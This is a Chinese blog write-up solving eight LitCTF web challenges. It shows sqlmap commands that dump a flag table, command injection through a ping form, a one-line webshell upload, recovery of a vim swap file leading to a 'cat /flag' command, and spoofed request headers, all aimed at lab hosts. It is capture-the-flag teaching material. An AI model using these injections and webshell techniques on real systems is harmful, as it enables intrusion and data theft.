您现在的位置是:首页 >技术交流 >NSS LitCTF Web 部分wp网站首页技术交流

NSS LitCTF Web 部分wp

kali-Myon 2024-06-26 14:23:47
简介NSS LitCTF Web 部分wp

目录

1、PHP是世界上最好的语言!!

2、这是什么?SQL !注一下 !

3、Ping

4、作业管理系统

5、我Flag呢?

6、1zjs

7、Vim yyds

8、Http pro max plus


1、PHP是世界上最好的语言!!

直接cat flag

flag=NSSCTF{11eaebe0-3764-410d-be83-b23532a24235}

system() 函数用来执行 command 参数所指定的命令, 并且输出执行结果,PHP执行系统命令的常用的函数还有:exec函数、popen函数,passthru函数(完整的返回字符串,且不经过不必要的其它中间的输出界面,即获取一个命令未经任何处理的原始输出),shell_exec函数他们都可以执行系统命令。

system语法: string system(string command, int [return_var]);若是 return_var 参数存在,则执行 command 之后的状态会填入 return_var 中。

2、这是什么?SQL !注一下 !

 直接查询,发现注入点是id

使用sqlmap列出所以数据库

sqlmap -u "http://node1.anna.nssctf.cn:28755//?id=1" --dbs

available databases [6]: [*] ctf [*] ctftraining [*] information_schema [*] mysql [*] performance_schema [*] test

列出指定数据库的表

第一个里面没什么发现,在第二个库里面看到flag字样

sqlmap -u "http://node1.anna.nssctf.cn:28755/?id=1" -D ctftraining --tables

继续列出指定表的字段 

sqlmap -u "http://node1.anna.nssctf.cn:28755/?id=1" -D ctftraining -T flag --columns

 

获取指定字段中的数据

sqlmap -u "http://node1.anna.nssctf.cn:28755/?id=1" -D ctftraining -T flag -C flag --dump

NSSCTF{759de34b-d02a-4781-a33c-113aba994a10}

总结一些sqlmap常用的参数:

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--tables 列出当前的表

--columns 列出当前的列

--dump 获取字段中的数据

3、Ping

直接在页面执行ping再带一个其他命令, 127.0.0.1&&ls,发现不行

使用bp抓包重发

 添加../逐级展开上级目录

 

 

  可以看到flag就是在根目录下的flag目录,直接使用cat命令获取

 

 除了展开,也可以先使用find命令,尝试查找flag

command=127.0.0.1 || find / -name flag* &ping=Ping

 再使用cat命令获取

flag=NSSCTF{3ce5e885-66ee-4312-828a-bfbb78c8cea8}

本题总结:

1、find命令:find /(查找范围) -name 查找关键字

find / -name flag* &ping=Ping中,

星号是一个通配符,表示任意数量的任意字符,当不知道真正字符完整名字时,进行模糊搜索。

2、cat命令用法总结:

① 只查看文件内容 cat a.txt

② 查找文件中的内容 cat a.txt | grep cc

③ 利用cat创建文件、向文件中写入内容、修改文件内容或者清空文件内容

 其中EOF是告诉 bash 哪个符号代表文件结束,也可以使用自己习惯的符号。

4、作业管理系统

在源码中找到默认登录账户和密码

  

直接安排一句话木马

 没有任何的绕过

 

 在根目录下找到flag

 flag=NSSCTF{96cd0bd4-f5e6-4fbf-8b09-c38f244d4aa6}

5、我Flag呢?

在源码里找到被注释掉的flag

 

6、1zjs

 玩了会儿魔方

 直接搜索一些关键字并没有什么发现,根据题目提示,在它的js文件里寻找

找到一个被注释掉的路径 /f@k3f1ag.php,直接访问

 查了一下这个叫jsfuck编码

有两种解密方法:

1、在浏览器的控制台

 2、使用在线网站解密

7、Vim yyds

查看源码并没有什么发现

 知识基础:

当我们非正常关闭vim编辑器时(比如直接关闭终端或者电脑断电),会生成一个.swp文件,这个文件是一个临时交换文件,用来备份缓冲区中的内容;

意外退出时,并不会覆盖旧的交换文件,而是会重新生成新的交换文件。而原来的文件中并不会有这次的修改,文件内容还是和打开时一样;

如果你并没有对文件进行修改,而只是读取文件,是不会产生.swp文件的;

可以使用 vim -r 来查看当前目录下的所有swp文件;

也可以使用 vim -r filename 来恢复文件,这样上次意外退出没有保存的修改,就会覆盖文件。

访问.index.php.swp将文件下载下来

因为我win里面没vim,将文件发到centos里

 

直接查看

 使用vim -r index.php.swp恢复文件

恢复后如下

 代码审计:

给password传入"Give_Me_Your_Flag"且要先经过base64编码

就会输出Oh You got my password!并且调用system函数执行传入的cmd命令

先将字符串base64编码

 构造payload

post:password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&&cmd=cat /flag

 NSSCTF{b8776bdb-b398-4544-b006-72ee55c5a531}

8、Http pro max plus

使用bp抓包改包重发

 请求头写 x-forwarded-for: 127.0.0.1

 

换一种 client-ip: 127.0.0.1

 请求头写 referer: pornhub.com

 请求头写 user-agent: Chrome

 请求头写 via: Clash.win

 拿到一个路径,直接访问它

 在源码里找到了另一个路径,继续访问

 NSSCTF{d295698b-50ae-47ed-8393-2463797931d3}

 

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。